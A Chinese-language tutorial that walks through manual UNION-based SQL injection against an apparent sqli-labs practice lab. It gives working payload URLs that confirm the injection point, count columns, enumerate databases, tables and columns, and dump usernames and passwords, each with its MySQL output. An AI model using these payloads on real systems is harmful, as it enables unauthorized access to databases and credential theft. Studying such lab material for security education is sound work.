0x00 SQL注入的语句介绍

SQL注入的本质

sql注入的本质就是查询某个数据库下的某个表中的某些字段的内容,比如我们平时在数据库查询一条数据时操作。

mysql> use security;   //进入一个数据库

mysql> select user,pwd from users limit 0,1;//查询users表中字段为user和pwd的内容

从上面的操作中我们可以看出，要查询出数据的内容，需要知道数据库名称，数据库中的表名称，数据库中表的字段名。

在Mysql 5.0以上的版本中，为了方便管理，默认定义了information_schema数据库，用来存储数据库元信息。其中的表schemata(所有的数据库名)、表tables(所有的表名)、表columns(所有的列名)。

mysql> show databases;

+--------------------+

| Database           |

+--------------------+

| information_schema |

| challenges         |             |

| mysql             |

| performance_schema |

| security           |

+--------------------+

下面通过sql语句从information_schema数据库查询出数据库名称，数据库中的表名称，数据库中表的字段名。

查询所有的数据库名称

mysql> select schema_name from information_schema.schemata;

+--------------------+

| schema_name       |

+--------------------+

| information_schema |

| challenges         |             |

| mysql             |

| performance_schema |

| security           |

+--------------------+

5 rows in set (0.00 sec)

查security数据库中的表名

我们挑选一个数据库security来查询其中的表名

mysql> select table_name from information_schema.tables where table_schema="security";

+------------+

| table_name |

+------------+

| emails     |

| referers   |

| uagents   |

| users     |

+------------+

4 rows in set (0.00 sec)

查询users数据表中列的字段名

一般都是user表中存有用户/管理员的账号密码

mysql> select column_name from information_schema.columns where table_name='users';

+-------------+

| column_name |

+-------------+

| id         |

| username   |

| password   |

+-------------+

3 rows in set (0.13 sec)

查询数据

知道了数据库名，表名，列名，可以直接查询数据了。

mysql> select username,password from security.users limit 7,7;

+----------+----------+

| username | password |

+----------+----------+

| admin   | admin   |

| admin1   | admin1   |

| admin2   | admin2   |

| admin3   | admin3   |

| dhakkan | dumbo   |

| admin4   | admin4   |

+----------+----------+

6 rows in set (0.11 sec)

我们知道如何查询数据了，接下来所要做的就是把这些查询语句注入到正常的业务sql语句中，并将结果返回到页面。

0x01 SQL注入流程

1.确认注入点

我们通过操作传入的参数，并根据页面的反馈判断是否存在SQL注入。

http://192.168.181.134/Less-1/?id=1

1.控制传入的参数使查询结果报错，让mysql查询的语法错误，即可报错。一般会用单引号，双引号等尝试。

至于用单引号和双引号，我们只能控制查询的参数，mysql在查询时单引号或者双引号没有闭合会报错。

mysql> select * from users where id='1'\';

ERROR:

Unknown command '\''.

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

mysql>

存在报错(下图)，意味着我们的单引号被带入查询语句，此时判断可能存在注入，需要进一步逻辑判断。

http://192.168.181.134/Less-1/?id=1'

存在报错, 也意味着我们确认后台查询参数为单引号或者双引号字符，方便闭合。

SELECT * FROM users WHERE id='$id' 或者 SELECT * FROM users WHERE id="$id"

2.通过闭合单引号，执行真条件的逻辑语句，能返回查询到对应的结果。

下语句中1后面跟单引号时用来闭合前面的单引号，--+是用来注释掉后面的语句。

192.168.181.134/Less-1/?id=1' and 1=1--+

3.通过闭合单引号，执行假条件的逻辑语句，能返回查询到对应的结果。

192.168.181.134/Less-1/?id=1' and 1=2--+

2.确认当前SQL语句的列数

为什么要确认当前SQL语句列数，为下一步union 联合查询做准备

之所以用order by确认表的列数；order by是对查询出的某列的数据进行排序，默认是正序。

超出列的个数，sql语句会报错。下表中，order by 对第三列password 查询内容进行排序，当order by 对第四列查询内容排序时，sql语句会报错，没有结果。

mysql> select id,username,password from users order by 3;

+----+----------+------------+

| id | username | password   |

+----+----------+------------+

| 8 | admin   | admin     |

| 9 | admin1   | admin1     |

| 10 | admin2   | admin2     |

| 11 | admin3   | admin3     |

| 14 | admin4   | admin4     |

| 4 | secure   | crappy     |

| 1 | Dumb     | Dumb       |

| 12 | dhakkan | dumbo     |

| 6 | superman | genious   |

| 2 | Angelina | I-kill-you |

| 7 | batman   | mob!le     |

| 3 | Dummy   | p@ssword   |

| 5 | stupid   | stupidity |

+----+----------+------------+

13 rows in set (0.00 sec)

mysql> select id,username,password from users order by 4;

ERROR 1054 (42S22): Unknown column '4' in 'order clause'

192.168.181.134/Less-1/?id=1' order by 3--+

192.168.181.134/Less-1/?id=1' order by 4--+

说明当前sql语句只查询了三列。

使用UNION注入查询语句

UNION操作符介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集；

UNION 内部的 SELECT 语句必须拥有相同数量的列；这个就是为什么要知道当前SQL语句查询列数；

下表中第一条语句，报错提示，union 连接的2个select语句必须 有相同数量的列；第二条语句正确。

mysql> select id,username,password from users union select 1;

ERROR 1222 (21000): The used SELECT statements have a different number of columns

mysql> select id,username,password from users where id=1 union select 1,2,user() ;

+----+----------+----------------+

| id | username | password       |

+----+----------+----------------+

| 1 | Dumb     | Dumb           |

| 1 | 2       | root@localhost |

+----+----------+----------------+

2 rows in set (0.00 sec)

一般情况我们希望自己注入的SQL语句返回结果，让第一个select查询不到结果即可(即id=-1)。

mysql> select id,username,password from users where id=-1 union select 1,2,user() ;

+----+----------+----------------+

| id | username | password       |

+----+----------+----------------+

| 1 | 2       | root@localhost |

+----+----------+----------------+

1 row in set (0.12 sec)

http://192.168.181.134/Less-1/?id=-1' union select 1,2,3--+

上图中显示2，3表示为显示位；

http://192.168.181.134/Less-1/?id=-1' union select 1,user(),version()--+

3.使用union注入所有数据库名查询

我们在SQL注入语句中介绍了查询所有数据库，表，字段的语句，通过UNION注入进去。

http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(schema_name) schema_name from information_schema.schemata--+

查询到的数据库名

information_schema,challenges,hd,mysql,performance_schema,security

4.使用union注入数据库security中的表名查询

http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security";--+

查询到的数据表的名

emails,referers,uagents,users

5.使用union注入数据表users中的字段查询

http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+

查询到的字段名

id,username,password

6.使用union注入字段username和password内容查询

http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(username,0x5c,password) from users--+

查询到的数据内容 账号\密码

Dumb\Dumb,Angelina\I-kill-you,Dummy\p@ssword,secure\crappy,stupid\stupidity,superman\genious,batman\mob!le,admin\admin,admin1\admin1,admin2\admin2,admin3\admin3,dhakkan\dumbo,admin4\admin4

0x02 SQL手工注入总结

sql注入的基本步骤大致就是确认注入点-->查数据库-->查表-->查数据；

SQL注入的类型不同，每一个步骤存在大同小异；

SQL注入的扩展攻击，如读写文件，提权；

后续的教程继续跟进；